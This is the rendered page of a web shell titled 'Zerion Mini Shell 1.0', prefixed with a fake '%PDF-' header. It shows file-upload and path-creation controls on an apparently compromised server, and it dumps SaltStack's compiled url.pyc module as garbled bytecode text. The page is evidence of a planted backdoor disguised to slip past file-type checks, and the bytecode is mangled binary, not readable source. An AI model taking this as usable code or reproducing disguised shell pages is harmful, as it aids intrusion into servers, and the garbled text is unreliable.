%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/utils/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/utils/url.pyc

�
���^c@@s�dZddlmZmZmZddlZddlZddlmZm	Z	ddl
ZddlZddl
ZddlZd�Zdd�Zd�Zd�Zd	�Zd
�Zd�Zd�Zd
�Zdded�Zd�ZdS(u
URL utils
i(tabsolute_importtprint_functiontunicode_literalsN(turlparset
urlunparsecC@s�|jd�s|dfS|jdd�d}d|kr[|jdd�dd}}n4d|kr�|jdd�\}}n
|d}}tjjj�r�tjjj|�}n||fS(uL
    Parse a salt:// URL; return the path and a possible saltenv query.
    usalt://ii����u?env=iu	?saltenv=N(	t
startswithtNonetsplittsalttutilstplatformt
is_windowstpathtsanitize_win_path(turltresourceRtsaltenv((s2/usr/lib/python2.7/site-packages/salt/utils/url.pytparses
 
cC@s�tjjj�r*tjjj|�}ntjjj|�}|rTdj|�nd}tjjjt	dd|d|df��}dj|t
d��S(u9
    join `path` and `saltenv` into a 'salt://' URL.
    usaltenv={0}uufileu
salt://{0}ufile:///(RR	R
RRR
tdatatdecodetformatRtlen(RRtqueryR((s2/usr/lib/python2.7/site-packages/salt/utils/url.pytcreate+s-cC@s�t|�j}|s"|jd�S|dkr{t|�\}}tjjj�rkd|krk|jd�S|jd�SntSdS(u0
    test whether `url` is escaped with `|`
    u|usaltu_N(	RtschemeRRRR	R
RtFalse(RRRR((s2/usr/lib/python2.7/site-packages/salt/utils/url.pyt
is_escaped8s

cC@s�tjjj�r|St|�j}|sN|jd�r>|Sdj|�SnW|dkr�t|�\}}|jd�r�t	||�St	dj|�|�Sn|SdS(u+
    add escape character `|` to `url`
    u|u|{0}usaltN(
RR	R
RRRRRRR(RRRR((s2/usr/lib/python2.7/site-packages/salt/utils/url.pytescapeIs
cC@s�t|�j}|s"|jd�S|dkr�t|�\}}tjjj�rtd|krtt|jd�|�St|jd�|�Sn|SdS(u0
    remove escape character `|` from `url`
    u|usaltu_N(	RRtlstripRRR	R
RR(RRRR((s2/usr/lib/python2.7/site-packages/salt/utils/url.pytunescape`s
cC@s2|jd�s|St|�\}}t||�S(uK
    append `saltenv` to `url` as a query parameter to a 'salt://' url
    usalt://(RRR(RRRtsenv((s2/usr/lib/python2.7/site-packages/salt/utils/url.pytadd_envqscC@s;|jd�s|dfSt|�\}}t|�|fS(uA
    remove the saltenv query parameter from a 'salt://' url
    usalt://N(RRRR(RRR((s2/usr/lib/python2.7/site-packages/salt/utils/url.pyt	split_env|s
cC@st|�j|krtStS(uP
    Return true if the passed URL scheme is in the list of accepted protos
    (RRtTrueR(Rtprotos((s2/usr/lib/python2.7/site-packages/salt/utils/url.pytvalidate�scC@stjdd|�S(ue
    Return a copy of the string with the protocol designation stripped, if one
    was present.
    u
^[^:/]+://u(tretsub(R((s2/usr/lib/python2.7/site-packages/salt/utils/url.pytstrip_proto�scC@s�|dkr|dkr|St|�}|rL|jdkrLtd��n|dkr�dj||j�}|jd|�}t|�Sdj|||j�}|jd|�}t|�SdS(uC
    Return a string with http basic auth incorporated into it
    uhttpsu#Basic Auth only supported for HTTPSu{0}@{1}tnetlocu{0}:{1}@{2}N(RRRt
ValueErrorRR't_replaceR(Rtusertpasswordt
https_onlyturltupleR'((s2/usr/lib/python2.7/site-packages/salt/utils/url.pytadd_http_basic_auth�s"
cC@sld}d}tjdkr7tj|||dtj�Stj||j��rhtj|||j��S|S(u'
    Remove HTTP user and password
    u(https?)://.*@u\1://<redacted>@iitflags(ii(tsystversion_infoR$R%t
IGNORECASEtsearchtlower(toutputturl_retredacted((s2/usr/lib/python2.7/site-packages/salt/utils/url.pytredact_http_basic_auth�s(t__doc__t
__future__RRRR$R0tsalt.ext.six.moves.urllib.parseRRtsalt.utils.dataRtsalt.utils.pathtsalt.utils.platformtsalt.utils.versionsRRRRRRRR R#R&RR.R8(((s2/usr/lib/python2.7/site-packages/salt/utils/url.pyt<module>s*	
									

Zerion Mini Shell 1.0